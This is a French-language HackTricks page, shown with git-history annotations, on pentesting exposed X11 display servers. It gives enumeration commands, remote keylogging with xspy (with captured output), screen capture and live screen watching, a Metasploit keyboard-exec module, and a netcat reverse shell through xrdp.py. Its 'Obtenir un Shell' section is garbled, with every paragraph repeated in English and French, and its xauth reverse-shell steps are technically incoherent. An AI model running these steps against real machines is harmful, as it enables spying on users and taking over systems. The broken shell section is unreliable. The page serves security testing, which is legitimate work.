hacktricks/network-services-pentesting/6000-pentesting-x11.md

263 lines
14 KiB
Markdown
Raw Normal View History

2023-03-05 19:54:13 +00:00
# 6000 - Pentesting X11
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes !
2022-04-28 16:01:33 +00:00
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
2023-02-27 09:28:45 +00:00
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
2023-02-27 09:28:45 +00:00
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
2023-02-27 09:28:45 +00:00
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
2022-11-05 09:07:43 +00:00
2023-06-03 13:10:46 +00:00
## Informations de base
Le système X Window (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique (GUI). X ne spécifie pas non plus l'interface utilisateur - chaque programme gère cela.\
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2023-06-03 13:10:46 +00:00
**Port par défaut :** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2023-06-03 13:10:46 +00:00
## Énumération
2023-06-03 13:10:46 +00:00
Vérifiez la **connexion anonyme :**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2023-06-03 13:10:46 +00:00
#### Énumération locale
Le fichier **`.Xauthority`** dans le dossier personnel de l'utilisateur est **utilisé** par **X11 pour l'autorisation**. D'après [**ici**](https://stackoverflow.com/a/37367518):
2023-06-03 13:10:46 +00:00
> MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans \~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
2023-06-03 13:10:46 +00:00
Pour **utiliser le cookie**, vous devez définir la variable d'environnement : **`export XAUTHORITY=/chemin/vers/.Xauthority`**
{% endhint %}
## Vérification de la connexion
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
2023-03-05 19:54:13 +00:00
## Keyloggin
2023-06-03 13:10:46 +00:00
[xspy](http://tools.kali.org/sniffingspoofing/xspy) pour intercepter les frappes du clavier.
2023-06-03 13:10:46 +00:00
Exemple de sortie :
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
2023-06-03 13:10:46 +00:00
## Capture d'écran
Lors de la réalisation d'un test de pénétration sur un serveur X11, il peut être utile de capturer des captures d'écran pour documenter les vulnérabilités découvertes. Les captures d'écran peuvent également être utilisées pour illustrer les résultats du test de manière visuelle.
Pour capturer des captures d'écran sur un serveur X11, vous pouvez utiliser l'outil `xwd`. Cet outil est généralement inclus dans les distributions Linux.
Pour capturer une capture d'écran, ouvrez un terminal et exécutez la commande suivante :
```
xwd -root -out screenshot.xwd
```
Cette commande capturera une capture d'écran de l'affichage racine du serveur X11 et l'enregistrera dans un fichier appelé `screenshot.xwd`.
Une fois que vous avez capturé la capture d'écran, vous pouvez la visualiser en utilisant l'outil `xwud`. Pour afficher la capture d'écran, exécutez la commande suivante :
```
xwud -in screenshot.xwd
```
Cette commande ouvrira une fenêtre affichant la capture d'écran capturée.
Il est important de noter que la capture d'écran peut contenir des informations sensibles, telles que des mots de passe ou des données confidentielles. Assurez-vous de traiter les captures d'écran avec précaution et de les supprimer une fois qu'elles ne sont plus nécessaires.
2023-06-03 13:10:46 +00:00
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Affichage du bureau à distance
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Voici comment trouver l'ID de la fenêtre en utilisant xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Pour **visualiser en direct**, nous devons utiliser
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2023-06-03 13:10:46 +00:00
## Obtenir un Shell
To get a shell on a target machine, you can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces on Unix-like operating systems.
Pour obtenir un shell sur une machine cible, vous pouvez exploiter les vulnérabilités du serveur X11. Le serveur X11 est responsable de la gestion des interfaces utilisateur graphiques sur les systèmes d'exploitation de type Unix.
### X11 Forwarding
X11 Forwarding is a feature that allows you to run graphical applications on a remote machine and display them on your local machine. By enabling X11 Forwarding, the remote machine can send the graphical output to your local machine.
La redirection X11 est une fonctionnalité qui vous permet d'exécuter des applications graphiques sur une machine distante et de les afficher sur votre machine locale. En activant la redirection X11, la machine distante peut envoyer la sortie graphique vers votre machine locale.
To enable X11 Forwarding, you need to set the `DISPLAY` environment variable to the IP address of your local machine followed by `:0.0`. For example:
Pour activer la redirection X11, vous devez définir la variable d'environnement `DISPLAY` sur l'adresse IP de votre machine locale suivie de `:0.0`. Par exemple :
```bash
export DISPLAY=192.168.0.100:0.0
```
### X11 Reverse Shell
To get a reverse shell using X11, you can exploit the `xauth` command. The `xauth` command is used to edit and display the authorization information used in connecting to the X server.
Pour obtenir un shell inversé en utilisant X11, vous pouvez exploiter la commande `xauth`. La commande `xauth` est utilisée pour modifier et afficher les informations d'autorisation utilisées pour se connecter au serveur X.
First, you need to generate a new X11 authentication cookie using the following command:
Tout d'abord, vous devez générer un nouveau cookie d'authentification X11 à l'aide de la commande suivante :
```bash
xauth generate :1 . trusted
```
Next, you can use the `xauth` command to extract the generated cookie and send it to your local machine:
Ensuite, vous pouvez utiliser la commande `xauth` pour extraire le cookie généré et l'envoyer à votre machine locale :
```bash
xauth extract - :1 | base64
```
On your local machine, you can decode the received cookie using the following command:
Sur votre machine locale, vous pouvez décoder le cookie reçu à l'aide de la commande suivante :
```bash
echo <base64_encoded_cookie> | base64 -d
```
Finally, you can use the extracted cookie to connect to the target machine and get a reverse shell:
Enfin, vous pouvez utiliser le cookie extrait pour vous connecter à la machine cible et obtenir un shell inversé :
```bash
export DISPLAY=<target_ip>:1
xauth add <extracted_cookie>
xterm &
```
This will open an Xterm window on your local machine, which is actually running on the target machine. You can now execute commands in the Xterm window, and the output will be displayed on your local machine.
Cela ouvrira une fenêtre Xterm sur votre machine locale, qui s'exécute en réalité sur la machine cible. Vous pouvez maintenant exécuter des commandes dans la fenêtre Xterm et la sortie sera affichée sur votre machine locale.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
2023-06-03 13:10:46 +00:00
Autre méthode:
**Reverse Shell:** Xrdp permet également de prendre un reverse shell via Netcat. Tapez la commande suivante:
2022-02-06 12:02:47 +00:00
**./xrdp.py \<IP:0> no-disp**
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
Une nouvelle fenêtre de contrôle s'affiche où nous pouvons voir l'option R-shell, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
Nous allons démarrer le mode d'écoute de Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
2023-06-03 13:10:46 +00:00
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
2023-06-03 13:10:46 +00:00
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
2022-02-06 12:02:47 +00:00
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes!
2022-11-05 09:07:43 +00:00
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore les sensations et les défis du piratage
2023-02-27 09:28:45 +00:00
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
2023-02-27 09:28:45 +00:00
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
2023-02-27 09:28:45 +00:00
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2023-06-03 13:10:46 +00:00
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>